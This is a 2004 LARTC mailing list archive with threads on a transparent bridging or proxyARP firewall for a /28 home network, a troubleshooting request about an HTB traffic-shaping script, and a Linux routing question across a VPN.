brctl addif br0 wan
ifconfig lan 0.0.0.0 promisc up
ifconfig wan 0.0.0.0 promisc up

And some netfilter lines to allow forwarding between the ifs on the 
allowed ports. This has the benefit that the filtering box is actually 
invisible (no route hop, no traceroute step) and can be taken down and 
the cables between lan and wan shortcutted without losing connectivity.

I still think that is the best thing for my case as I know the bridge 
stuff fairly well. The only issue holding me back is the fact that the 
(real) interfaces need to be in promiscous mode (not 100% sure, need to 
test) and the lan nic is a gigE card.

CU

René

> 
> ----- Original Message ----- From: "Rene Gallati" <lartc@draxinusom.ch>
> To: <LARTC@mailman.ds9a.nl>
> Sent: Sunday, October 31, 2004 9:55 AM
> Subject: [LARTC] Howto route through
> 
> 
>> Hello list,
>>
>> I'm having a little trouble imagining a setup I'll soon have.
>>
>> I am in the process of getting a routed /28 to my homeLAN. What I want 
>> to do is to put a linux box in front of the lan to filter some of the 
>> unneeded and potential dangerous ports. Now the box has 2 nics, one 
>> for the inside one for the outside.
>>
>> How should I go on to setup those NICs when
>> a) the PCs in the net should have their official IP address from the 
>> /28 net
>> and
>> b) the filtering linux box should at the same time have one IP address 
>> from the same range for some services it provides
>>
>> The dilemma I see (maybe it is none but I just don't know)
>> if I put it this way that I have the IP of the /28er range on one nic 
>> and nothing to put on the other ?
>>
>> Example: Range is 1.2.3.0/28 (1.2.3.0 - 1.2.3.15)
>>
>>           eth0:  1.2.3.1   eth1: ???
>> ---- Internet ------- FW Box ------ LAN (1.2.3.0/28)
>>
>> The FW box should be reachable by both the hosts in the LAN as well as 
>> from the internet using the assigned IP. Don't I run into troubles 
>> having an IP on one NIC which does belong to a net that is located on 
>> the side of another NIC ?
>>
>> I know that the most specific entry (full IP) overrides or wins over 
>> the less specific ones (the net) but does this setup work so that the 
>> LAN clients can access the FW box just like every other host on the 
>> internet? How do I configure eth1 ? Just bring it up without any IP at 
>> all?
>>
>> Or should I better make the FW box a transparent bridge for the 
>> filtering with one IP where it reacts itself ?
>>
>> Thanks for all hints
>>
>> CU
>>
>> René
>> _______________________________________________
>> LARTC mailing list / LARTC@mailman.ds9a.nl
>> http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO: http://lartc.org/
>>
> 
> _______________________________________________
> LARTC mailing list / LARTC@mailman.ds9a.nl
> http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO: http://lartc.org/
> 


From lartc@draxinusom.ch  Mon Nov  1 15:11:21 2004
From: lartc@draxinusom.ch (Rene Gallati)
Date: Mon, 01 Nov 2004 16:11:21 +0100
Subject: [LARTC] Howto route through
In-Reply-To: <4185A3B9.5C2BF600@iswest.com>
References: <41850B0D.9000409@draxinusom.ch> <4185A3B9.5C2BF600@iswest.com>
Message-ID: <41865219.3030302@draxinusom.ch>

gypsy wrote:

> Rene Gallati wrote:
> 
>>Hello list,
>>
>>I'm having a little trouble imagining a setup I'll soon have.
>>
>>I am in the process of getting a routed /28 to my homeLAN. What I want
>>to do is to put a linux box in front of the lan to filter some of the
>>unneeded and potential dangerous ports. Now the box has 2 nics, one for
>>the inside one for the outside.
>>
>>How should I go on to setup those NICs when
>>a) the PCs in the net should have their official IP address from the /28 net
>>and
>>b) the filtering linux box should at the same time have one IP address
>>from the same range for some services it provides
> 
> I just finished one of these.
> 
> I used proxyARP to make the external interface listen to my 5 (I have a

This is one of the options I am considering at the moment though I lean 
a bit more towards transparent bridge-filtering.

> /29 not a /28) IPs.  You will be led down the garden path if you try
> just proxyARP; I had to use SNAT rules.  You don't (normally) need DNAT,
> but (for me at least) _NOTHING_ will forward without SNAT.  My SNAT
> rules start with my first external IP and work up: .154 --to .154 then
> .155 to .155 then .156 to .156 then .157 to .157 and finally .152/29 to
> .158.  .153 is my default gateway.
> 
> I have asked all over the web for assistance in routing without needing
> SNAT but have not been able to route such that proxyARP works without
> SNAT.  If you figure out how to do that, I'd really appreciate it.

I believe I've done it once, in a test environment. Enabling only 
proxyArp on the devices in sysctl should be sufficent iff the routing 
table is correct for that environment. You also need the same IP address 
assigned to both nics otherwise you do indeed need SNAT for the return 
packets. But when you do that the routing table has the same net on both 
interfaces and you need to delete it from the upstream nic and insert a 
simple route that reaches the next hop device there so that it is more 
specific that the network /29 route. At least that is about as much as I 
remember, but it is some time ago and was on a kernel 2.4 (I'm using 2.6 
for quite some time now)

> I then built a rudimentary firewall for this computer.  The only
> services it runs are sshd and identd.  The firewall's main purpose is to
> protect a Win2K Server that sits on .157.  All the other boxes have
> their own firewalls.

I need to protect several machines, some of it are windows boxes. Mostly 
I want to block incoming windows sharing stuff and the well known RPC ports.

> The beauty of this is that it lets me HTB shape both incoming and
> outgoing packets without IMQ.  The problem I have is that I made this
> "front line" computer out of spare parts and the AMD 266 is not enough
> CPU.  When HTB starts to queue/delay, things like typing at the keyboard
> becomes sluggish and packet handling slows.

I have an Athlon 500 ready for this. Hopefully it manages the job even 
when in promiscous mode on the lan nic which is a gigE card.

> Read Martin Brown's HOWTO (sorry, I've forgotten the chapter #), the
> LARTC HOWTO (chapter 16.2) and Dave Weiss (Weiss's setup script fails
> but the write up is correct) proxyARP page.  You can find these with
> google or I'll post URLs on request.

Thanks, this is certainly one of the things I'll be testing as soon as 
the shiny new modems arrive here !

CU

René


From mozo@home.ro  Mon Nov  1 15:59:55 2004
From: mozo@home.ro (Cireasa Claudiu)
Date: Mon, 1 Nov 2004 17:59:55 +0200
Subject: [LARTC] Big problem :(((((
Message-ID: <000c01c4c02b$d52895b0$050b010a@mozocomp>

This is a multi-part message in MIME format.

------=_NextPart_000_0007_01C4C03C.980F5950
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hello!

I have an internet connection of 64kbps garanteed in a channel of =
256kbps. On this connection the metropolitan speed is 10Mbps and in the =
provider's network the speed is 100Mbps.
I have a few clients behind my linux box and i want to set up some =
limitations because some of them are using it irrational.

I am marking the packets with 0 for internet; 1 for metropolitan 2 for =
provider's network.
Afther the mark i send the packets to the followind classes:

script for eth0 (eth0 is my local network)

#!/bin/bash
tc qdisc del dev eth0 root >/dev/null
tc qdisc add dev eth0 root handle 1: htb default 3

tc class add dev eth0 parent 1:  classid 1:1  htb rate 64kbit  ceil =
256kbit burst 15k   quantum 1500            # Internet
tc class add dev eth0 parent 1:  classid 1:2  htb rate 10Mbit            =
  burst 15k    quantum 1500            # Metropolitan
tc class add dev eth0 parent 1:  classid 1:3  htb rate 80Mbit            =
  burst 15k    quantum 1500            # Provider

tc class add dev eth0 parent 1:1 classid 1:100 htb rate 64kbit ceil =
256kbit burst 15k
    tc qdisc add dev eth0 parent 1:100 handle 100: sfq perturb 5 quantum =
1500

tc class add dev eth0 parent 1:100 classid 1:1001 htb rate 4kbit ceil =
64kbit    prio 5 quantum 1500 burst 15k  =20
    tc qdisc add dev eth0 parent 1:1001 handle 1001: sfq perturb 5 =
quantum 1500
tc class add dev eth0 parent 1:100 classid 1:1002 htb rate 4kbit ceil =
64kbit    prio 5 quantum 1500 burst 15k =20
    tc qdisc add dev eth0 parent 1:1002 handle 1002: sfq perturb 5 =
quantum 1500
...
tc class add dev eth0 parent 1:100 classid 1:1020 htb rate 4kbit ceil =
64kbit    prio 5 quantum 1500 burst 15k =20
    tc qdisc add dev eth0 parent 1:1020 handle 1020: sfq perturb 5 =
quantum 1500

tc class add dev eth0 parent 1:2 classid 1:300 htb rate 5Mbit prio 5 =
quantum 1500 burst 15k
    tc qdisc add dev eth0 parent 1:300 handle 300: sfq perturb 5 quantum =
1500

tc class add dev eth0 parent 1:300 classid 1:3001 htb rate 8kbit ceil =
256kbit   prio 5 quantum 1500 burst 15k =20
    tc qdisc add dev eth0 parent 1:3001 handle 3001: sfq perturb 5 =
quantum 1500
tc class add dev eth0 parent 1:300 classid 1:3002 htb rate 8kbit ceil =
256kbit   prio 5 quantum 1500 burst 15k =20
    tc qdisc add dev eth0 parent 1:3002 handle 3002: sfq perturb 5 =
quantum 1500
...
tc class add dev eth0 parent 1:300 classid 1:3020 htb rate 5kbit ceil =
256kbit   prio 5 quantum 1500 burst 15k =20
    tc qdisc add dev eth0 parent 1:3020 handle 3020: sfq perturb 5 =
quantum 1500

tc class add dev eth0 parent 1:2 classid 1:500 htb rate 80Mbit prio 5 =
quantum 1500 burst 15k
    tc qdisc add dev eth0 parent 1:500 handle 500: sfq perturb 5 quantum =
1500

tc class add dev eth0 parent 1:500 classid 1:5001 htb rate 8kbit ceil =
8Mbit   prio 5 quantum 1500 burst 15k =20
    tc qdisc add dev eth0 parent 1:5001 handle 5001: sfq perturb 5 =
quantum 1500

tc class add dev eth0 parent 1:500 classid 1:5002 htb rate 8kbit ceil =
8Mbit   prio 5 quantum 1500 burst 15k =20
    tc qdisc add dev eth0 parent 1:5002 handle 5002: sfq perturb 5 =
quantum 1500
...

iptables -t mangle -A POSTROUTING -o eth0 -d 10.0.0.1  -j CLASSIFY =
--set-class 1:1001
iptables -t mangle -A POSTROUTING -o eth0 -d 10.0.0.1 -m mark --mark 1 =
-j CLASSIFY --set-class 1:3001
iptables -t mangle -A POSTROUTING -o eth0 -d 10.0.0.1 -m mark --mark 2 =
-j CLASSIFY --set-class 1:5001

iptables -t mangle -A POSTROUTING -o eth0 -d 10.0.0.2 -j CLASSIFY =
--set-class 1:1002
iptables -t mangle -A POSTROUTING -o eth0 -d 10.0.0.2 -m mark --mark 1 =
-j CLASSIFY --set-class 1:3002
iptables -t mangle -A POSTROUTING -o eth0 -d 10.0.0.2 -m mark --mark 2 =
-j CLASSIFY --set-class 1:5002
...

###END SCRIPT ETH0###


the script for eth1 (the interface witch goes to provider) is:

#!/bin/bash
tc qdisc del dev eth1 root >/dev/null
tc qdisc add dev eth1 root handle 1: htb default 4

tc class add dev eth1 parent 1:  classid 1:1  htb rate 64kbit  ceil =
256kbit burst 15k   quantum 1500
tc class add dev eth1 parent 1:  classid 1:2  htb rate 10Mbit            =
  burst 15k    quantum 1500
tc class add dev eth1 parent 1:  classid 1:3  htb rate 80Mbit            =
  burst 15k    quantum 1500


tc class add dev eth1 parent 1:1 classid 1:100 htb rate 64kbit ceil =
256kbit burst 15k
    tc qdisc add dev eth1 parent 1:100 handle 100: sfq perturb 5 quantum =
1500

tc class add dev eth1 parent 1:100 classid 1:1001 htb rate 4kbit ceil =
64kbit    prio 5 quantum 1500 burst 15k
    tc qdisc add dev eth1 parent 1:1001 handle 1001: sfq perturb 5 =
quantum 1500
...

tc class add dev eth1 parent 1:2 classid 1:300 htb rate 5Mbit prio 8 =
quantum 1500 burst 15k
    tc qdisc add dev eth1 parent 1:300 handle 300: sfq perturb 5 quantum =
1500

tc class add dev eth1 parent 1:300 classid 1:3001 htb rate 32kbit ceil =
128kbit  prio 5 quantum 1500 burst 15k
    tc qdisc add dev eth1 parent 1:3001 handle 3001: sfq perturb 5 =
quantum 1500
tc class add dev eth1 parent 1:300 classid 1:3002 htb rate 32kbit ceil =
128kbit  prio 5 quantum 1500 burst 15k
    tc qdisc add dev eth1 parent 1:3002 handle 3002: sfq perturb 5 =
quantum 1500
...

tc class add dev eth1 parent 1:3 classid 1:500 htb rate 80Mbit prio 8 =
quantum 1500 burst 15k
    tc qdisc add dev eth1 parent 1:500 handle 500: sfq perturb 5 quantum =
1500

tc class add dev eth1 parent 1:500 classid 1:5001 htb rate 128kbit ceil =
8Mbit  prio 5 quantum 1500 burst 15k
    tc qdisc add dev eth1 parent 1:5001 handle 5001: sfq perturb 5 =
quantum 1500
tc class add dev eth1 parent 1:500 classid 1:5002 htb rate 128kbit ceil =
8Mbit  prio 5 quantum 1500 burst 15k
    tc qdisc add dev eth1 parent 1:5002 handle 5002: sfq perturb 5 =
quantum 1500
...

iptables -t mangle -A PREROUTING -i eth0 -s 10.0.0.1 -m mark --mark 0  =
-j MARK --set-mark 1001
iptables -t mangle -A PREROUTING -i eth0 -s 10.0.0.1 -m mark --mark 1  =
-j MARK --set-mark 3001
iptables -t mangle -A PREROUTING -i eth0 -s 10.0.0.1 -m mark --mark 2  =
-j MARK --set-mark 5001

iptables -t mangle -A PREROUTING -i eth0 -s 10.0.0.2 -m mark --mark 0  =
-j MARK --set-mark 1002
iptables -t mangle -A PREROUTING -i eth0 -s 10.0.0.2 -m mark --mark 1  =
-j MARK --set-mark 3002
iptables -t mangle -A PREROUTING -i eth0 -s 10.0.0.2 -m mark --mark 2  =
-j MARK --set-mark 5002
...

tc filter add dev eth1 protocol ip handle 1001 fw  flowid 1:1001
tc filter add dev eth1 protocol ip handle 3001 fw  flowid 1:3001
tc filter add dev eth1 protocol ip handle 5001 fw  flowid 1:5001

tc filter add dev eth1 protocol ip handle 1002 fw  flowid 1:1002
tc filter add dev eth1 protocol ip handle 3002 fw  flowid 1:3002
tc filter add dev eth1 protocol ip handle 5002 fw  flowid 1:5002


#END OF ETH1 SCRIPT#

After i start the scripts all the hosts encounters difficulties in =
accessing the internet... the web from the internet (class 1:1) are =
loading verry slow (20-30 seconds); i have ping timeouts... yahoo =
messenger is connecting in about 20-30 seconds... iti si a mess...
I know the bandwidth is verry small but even if there are 8 users online =
the bandwidth should divide and work much faster at least for web...
I think the script has problems in the part with the burst of 15k... can =
somebody tell me where is going wrong?

Please help,
    Claudiu.
------=_NextPart_000_0007_01C4C03C.980F5950
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2800.1458" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hello!</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I have an internet connection of 64kbps =
garanteed=20
in a channel of 256kbps. On this connection the metropolitan speed is =
10Mbps and=20
in the provider's network the speed is 100Mbps.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>I have a few clients behind my linux =
box and i want=20
to set up some limitations because some of them are using it=20
irrational.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I am marking the packets with 0 for =
internet; 1 for=20
metropolitan 2 for provider's network.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Afther the mark i send the packets to =
the followind=20
classes:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>script for eth0 (eth0 is my local=20
network)</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>#!/bin/bash<BR>tc qdisc del dev eth0 =
root=20
&gt;/dev/null<BR>tc qdisc add dev eth0 root handle 1: htb default =
3</DIV>
<DIV>&nbsp;</DIV>
<DIV>tc class add dev eth0 parent 1:&nbsp; classid 1:1&nbsp; htb rate=20
64kbit&nbsp; ceil 256kbit burst 15k&nbsp;&nbsp; quantum=20
1500&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; # =

Internet<BR>tc class add dev eth0 parent 1:&nbsp; classid 1:2&nbsp; htb =
rate=20
10Mbit&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;=20
burst 15k&nbsp;&nbsp;&nbsp; quantum=20
1500&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; # =

Metropolitan<BR>tc class add dev eth0 parent 1:&nbsp; classid 1:3&nbsp; =
htb rate=20
80Mbit&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;=20
burst 15k&nbsp;&nbsp;&nbsp; quantum=20
1500&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; # =

Provider</DIV>
<DIV>&nbsp;</DIV>
<DIV>tc class add dev eth0 parent 1:1 classid 1:100 htb rate 64kbit ceil =
256kbit=20
burst 15k<BR>&nbsp;&nbsp;&nbsp; tc qdisc add dev eth0 parent 1:100 =
handle 100:=20
sfq perturb 5 quantum 1500</DIV>
<DIV>&nbsp;</DIV>
<DIV>tc class add dev eth0 parent 1:100 classid 1:1001 htb rate 4kbit =
ceil=20
64kbit&nbsp;&nbsp;&nbsp; prio 5 quantum 1500 burst=20
15k&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp; tc qdisc add dev eth0 parent =
1:1001=20
handle 1001: sfq perturb 5 quantum 1500<BR>tc class add dev eth0 parent =
1:100=20
classid 1:1002 htb rate 4kbit ceil 64kbit&nbsp;&nbsp;&nbsp; prio 5 =
quantum 1500=20
burst 15k&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp; tc qdisc add dev eth0 parent =
1:1002=20
handle 1002: sfq perturb 5 quantum 1500<BR>...</DIV>
<DIV>tc class add dev eth0 parent 1:100 classid 1:1020 htb rate 4kbit =
ceil=20
64kbit&nbsp;&nbsp;&nbsp; prio 5 quantum 1500 burst=20
15k&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp; tc qdisc add dev eth0 parent =
1:1020 handle=20
1020: sfq perturb 5 quantum 1500</DIV>
<DIV>&nbsp;</DIV>
<DIV>tc class add dev eth0 parent 1:2 classid 1:300 htb rate 5Mbit =
prio&nbsp;5=20
quantum 1500 burst 15k<BR>&nbsp;&nbsp;&nbsp; tc qdisc add dev eth0 =
parent 1:300=20
handle 300: sfq perturb 5 quantum 1500</DIV>
<DIV>&nbsp;</DIV>
<DIV>tc class add dev eth0 parent 1:300 classid 1:3001 htb rate 8kbit =
ceil=20
256kbit&nbsp;&nbsp; prio&nbsp;5 quantum 1500 burst=20
15k&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp; tc qdisc add dev eth0 parent =
1:3001 handle=20
3001: sfq perturb 5 quantum 1500<BR>tc class add dev eth0 parent 1:300 =
classid=20
1:3002 htb rate 8kbit ceil 256kbit&nbsp;&nbsp; prio&nbsp;5 quantum 1500 =
burst=20
15k&nbsp;&nbsp;</DIV>
<DIV>&nbsp;&nbsp;&nbsp; tc qdisc add dev eth0 parent 1:3002 handle 3002: =
sfq=20
perturb 5 quantum 1500<BR>...</DIV>
<DIV>tc class add dev eth0 parent 1:300 classid 1:3020 htb rate 5kbit =
ceil=20
256kbit&nbsp;&nbsp; prio&nbsp;5 quantum 1500 burst 15k&nbsp;&nbsp;
<DIV>&nbsp;&nbsp;&nbsp; tc qdisc add dev eth0 parent 1:3020 handle 3020: =
sfq=20
perturb 5 quantum 1500<BR></DIV></DIV>
<DIV>
<DIV>tc class add dev eth0 parent 1:2 classid 1:500 htb rate 80Mbit =
prio&nbsp;5=20
quantum 1500 burst 15k<BR>&nbsp;&nbsp;&nbsp; tc qdisc add dev eth0 =
parent 1:500=20
handle 500: sfq perturb 5 quantum 1500</DIV>
<DIV>&nbsp;</DIV>
<DIV>tc class add dev eth0 parent 1:500 classid 1:5001 htb rate 8kbit =
ceil=20
8Mbit&nbsp;&nbsp; prio&nbsp;5 quantum 1500 burst=20
15k&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp; tc qdisc add dev eth0 parent =
1:5001 handle=20
5001: sfq perturb 5 quantum 1500<BR>
<DIV>tc class add dev eth0 parent 1:500 classid 1:5002 htb rate 8kbit =
ceil=20
8Mbit&nbsp;&nbsp; prio&nbsp;5 quantum 1500 burst=20
15k&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp; tc qdisc add dev eth0 parent =
1:5002 handle=20
5002: sfq perturb 5 quantum 1500</DIV>
<DIV>...</DIV>
<DIV>&nbsp;</DIV>
<DIV>iptables -t mangle -A POSTROUTING -o eth0 -d 10.0.0.1&nbsp;&nbsp;-j =

CLASSIFY --set-class 1:1001<BR>iptables -t mangle -A POSTROUTING -o eth0 =
-d=20
10.0.0.1 -m mark --mark 1 -j CLASSIFY --set-class 1:3001<BR>iptables -t =
mangle=20
-A POSTROUTING -o eth0 -d 10.0.0.1 -m mark --mark 2 -j CLASSIFY =
--set-class=20
1:5001</DIV>
<DIV>&nbsp;</DIV>
<DIV>
<DIV>iptables -t mangle -A POSTROUTING -o eth0 -d 10.0.0.2 -j CLASSIFY=20
--set-class 1:1002<BR>iptables -t mangle -A POSTROUTING -o eth0 -d =
10.0.0.2 -m=20
mark --mark 1 -j CLASSIFY --set-class 1:3002<BR>iptables -t mangle -A=20
POSTROUTING -o eth0 -d 10.0.0.2 -m mark --mark 2 -j CLASSIFY --set-class =

1:5002</DIV>
<DIV>...</DIV>
<DIV>&nbsp;</DIV>
<DIV>###END SCRIPT ETH0###</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV>the script for eth1 (the interface witch goes to provider) =
is:</DIV>
<DIV>&nbsp;</DIV>
<DIV>#!/bin/bash<BR>tc qdisc del dev eth1 root &gt;/dev/null<BR>tc qdisc =
add dev=20
eth1 root handle 1: htb default 4</DIV>
<DIV>&nbsp;</DIV>
<DIV>tc class add dev eth1 parent 1:&nbsp; classid 1:1&nbsp; htb rate=20
64kbit&nbsp; ceil 256kbit burst 15k&nbsp;&nbsp; quantum 1500<BR>tc class =
add dev=20
eth1 parent 1:&nbsp; classid 1:2&nbsp; htb rate=20
10Mbit&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;=20
burst 15k&nbsp;&nbsp;&nbsp; quantum 1500<BR>tc class add dev eth1 parent =

1:&nbsp; classid 1:3&nbsp; htb rate=20
80Mbit&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;=20
burst 15k&nbsp;&nbsp;&nbsp; quantum 1500</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV>tc class add dev eth1 parent 1:1 classid 1:100 htb rate 64kbit ceil =
256kbit=20
burst 15k<BR>&nbsp;&nbsp;&nbsp; tc qdisc add dev eth1 parent 1:100 =
handle 100:=20
sfq perturb 5 quantum 1500</DIV>
<DIV>&nbsp;</DIV>
<DIV>tc class add dev eth1 parent 1:100 classid 1:1001 htb rate 4kbit =
ceil=20
64kbit&nbsp;&nbsp;&nbsp; prio 5 quantum 1500 burst =
15k<BR>&nbsp;&nbsp;&nbsp; tc=20
qdisc add dev eth1 parent 1:1001 handle 1001: sfq perturb 5 quantum=20
1500<BR>...</DIV>
<DIV>&nbsp;</DIV>
<DIV>tc class add dev eth1 parent 1:2 classid 1:300 htb rate 5Mbit prio =
8=20
quantum 1500 burst 15k<BR>&nbsp;&nbsp;&nbsp; tc qdisc add dev eth1 =
parent 1:300=20
handle 300: sfq perturb 5 quantum 1500</DIV>
<DIV>&nbsp;</DIV>
<DIV>tc class add dev eth1 parent 1:300 classid 1:3001 htb rate 32kbit =
ceil=20
128kbit&nbsp; prio&nbsp;5 quantum 1500 burst 15k<BR>&nbsp;&nbsp;&nbsp; =
tc qdisc=20
add dev eth1 parent 1:3001 handle 3001: sfq perturb 5 quantum 1500<BR>tc =
class=20
add dev eth1 parent 1:300 classid 1:3002 htb rate 32kbit ceil =
128kbit&nbsp;=20
prio&nbsp;5 quantum 1500 burst 15k<BR>&nbsp;&nbsp;&nbsp; tc qdisc add =
dev eth1=20
parent 1:3002 handle 3002: sfq perturb 5 quantum 1500<BR>...</DIV>
<DIV>&nbsp;</DIV>
<DIV>tc class add dev eth1 parent 1:3 classid 1:500 htb rate 80Mbit prio =
8=20
quantum 1500 burst 15k<BR>&nbsp;&nbsp;&nbsp; tc qdisc add dev eth1 =
parent 1:500=20
handle 500: sfq perturb 5 quantum 1500</DIV>
<DIV>&nbsp;</DIV>
<DIV>tc class add dev eth1 parent 1:500 classid 1:5001 htb rate 128kbit =
ceil=20
8Mbit&nbsp; prio&nbsp;5 quantum 1500 burst 15k<BR>&nbsp;&nbsp;&nbsp; tc =
qdisc=20
add dev eth1 parent 1:5001 handle 5001: sfq perturb 5 quantum 1500<BR>tc =
class=20
add dev eth1 parent 1:500 classid 1:5002 htb rate 128kbit ceil =
8Mbit&nbsp;=20
prio&nbsp;5 quantum 1500 burst 15k<BR>&nbsp;&nbsp;&nbsp; tc qdisc add =
dev eth1=20
parent 1:5002 handle 5002: sfq perturb 5 quantum 1500<BR>...</DIV>
<DIV><BR>iptables -t mangle -A PREROUTING -i eth0 -s 10.0.0.1 -m mark =
--mark=20
0&nbsp; -j MARK --set-mark 1001<BR>iptables -t mangle -A PREROUTING -i =
eth0 -s=20
10.0.0.1 -m mark --mark 1&nbsp; -j MARK --set-mark 3001<BR>iptables -t =
mangle -A=20
PREROUTING -i eth0 -s 10.0.0.1 -m mark --mark 2&nbsp; -j MARK --set-mark =

5001</DIV>
<DIV>&nbsp;</DIV>
<DIV>iptables -t mangle -A PREROUTING -i eth0 -s 10.0.0.2 -m mark --mark =
0&nbsp;=20
-j MARK --set-mark 1002<BR>iptables -t mangle -A PREROUTING -i eth0 -s =
10.0.0.2=20
-m mark --mark 1&nbsp; -j MARK --set-mark 3002<BR>iptables -t mangle -A=20
PREROUTING -i eth0 -s 10.0.0.2 -m mark --mark 2&nbsp; -j MARK --set-mark =

5002</DIV>
<DIV>...</DIV>
<DIV><BR>tc filter add dev eth1 protocol ip handle 1001 fw&nbsp; flowid=20
1:1001<BR>tc filter add dev eth1 protocol ip handle 3001 fw&nbsp; flowid =

1:3001<BR>tc filter add dev eth1 protocol ip handle 5001 fw&nbsp; flowid =

1:5001</DIV>
<DIV>&nbsp;</DIV>
<DIV>tc filter add dev eth1 protocol ip handle 1002 fw&nbsp; flowid =
1:1002<BR>tc=20
filter add dev eth1 protocol ip handle 3002 fw&nbsp; flowid 1:3002<BR>tc =
filter=20
add dev eth1 protocol ip handle 5002 fw&nbsp; flowid 1:5002</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV>#END OF ETH1 SCRIPT#</DIV>
<DIV>&nbsp;</DIV>
<DIV>After i start the scripts all the hosts encounters difficulties in=20
accessing the internet... the web from the internet (class 1:1) are =
loading=20
verry slow (20-30 seconds); i have ping timeouts... yahoo messenger is=20
connecting in about 20-30 seconds... iti si a mess...</DIV>
<DIV>I know the bandwidth is verry small but even if there are 8 users =
online=20
the bandwidth should divide and work much faster at least for =
web...</DIV>
<DIV>I think the script has problems in the part with the burst of =
15k... can=20
somebody tell me where is going wrong?</DIV>
<DIV>&nbsp;</DIV>
<DIV>Please help,</DIV>
<DIV>&nbsp;&nbsp;&nbsp; =
Claudiu.</DIV></DIV></DIV></DIV></FONT></BODY></HTML>

------=_NextPart_000_0007_01C4C03C.980F5950--


From route@irax.com  Mon Nov  1 16:16:26 2004
From: route@irax.com (routing)
Date: Mon, 01 Nov 2004 16:16:26 +0000
Subject: [LARTC] routing question
In-Reply-To: <41865312.2070308@draxinusom.ch>
References: <41864D84.1030501@irax.com> <41865312.2070308@draxinusom.ch>
Message-ID: <4186615A.7050002@irax.com>

my current router and default gateway for my network is 192.168.0.4 
(with one interface eth0)
192.168.0.8 is a smoothwall with a vpn set up to 192.168.15.0
I need to get to a network at 192.168.16.0/24 at the through the gateway 
at 192.168.15.254

Machines on 192.168.15.0 can ping those on 192.168.16.0

this is the current situation with some real numbers from 192.168.0.4
ip route
192.168.3.0/24 via 192.168.0.8 dev eth0
192.168.0.0/24 dev eth0  scope link
192.168.16.0/24 via 192.168.15.254 dev eth0
192.168.15.0/24 via 192.168.0.8 dev eth0
127.0.0.0/8 dev lo  scope link
default via 192.168.0.8 dev eth0

I can see the following from 192.168.0.4 :-
ping 192.168.15.254
PING 192.168.15.254 (192.168.15.254) 56(84) bytes of data.
64 bytes from 192.168.15.254: icmp_seq=1 ttl=253 time=66.7 ms
64 bytes from 192.168.15.254: icmp_seq=2 ttl=253 time=65.4 ms

ping 192.168.15.21
PING 192.168.15.21 (192.168.15.21) 56(84) bytes of data.
64 bytes from 192.168.15.21: icmp_seq=1 ttl=253 time=75.6 ms

but when I do
ip route add 192.168.15.254 via 192.168.15.21
I get
RTNETLINK answers: Network is unreachable

what I  really want to do at 192.168.0.4  is something like this
ip route add 192.168.16.0/24 via 192.168.15.254 (this also gives 
RTNETLINK answers: Network is unreachable)




Rene Gallati wrote:

> routing wrote:
>
>> So far I have been used to using linux to provide simple routing from 
>> my network to others using commands such as ip route add 
>> 192.168.1.0/24 via 192.168.0.4 etc and it has all worked perfectly.
>> I also use smoothwall GPL to provice vpn services, however I have hit 
>> on a problem and am not at all clear on the way in which to proceed.
>> I now need to provide a route to services, the access to these is 
>> provided by a router on a network on the far end of a VPN. the  
>> computers on the  remote network can see the service I need to 
>> access, however when I try to provice a route to that system using a 
>> router on the remoted network by issuing a command such as 
>> 192.168.5.0/24 via 192.168.15.6  in the router at 192.168.0.4 I get 
>> the following :-
>> RTNETLINK answers: Network is unreachable.
>
>
> Imho this simply means that the router at 192.168.0.4 does not know 
> where 192.168.15.6 (the via target) is and thus denies the request. 
> Add a route to 192.168.15.6 first and then it should work.
>
>> My question is , what way of providing access to this route do I need 
>> to follow, Is it GRE tunnels (not the best option as I don't have 
>> enough information on the remote router configurations and am not 
>> able to change their settings).  Do I have to use  new routing 
>> tables  or is there something else I must do to get this working?
>
>
> Just tell the router where your target is and all should be well, 
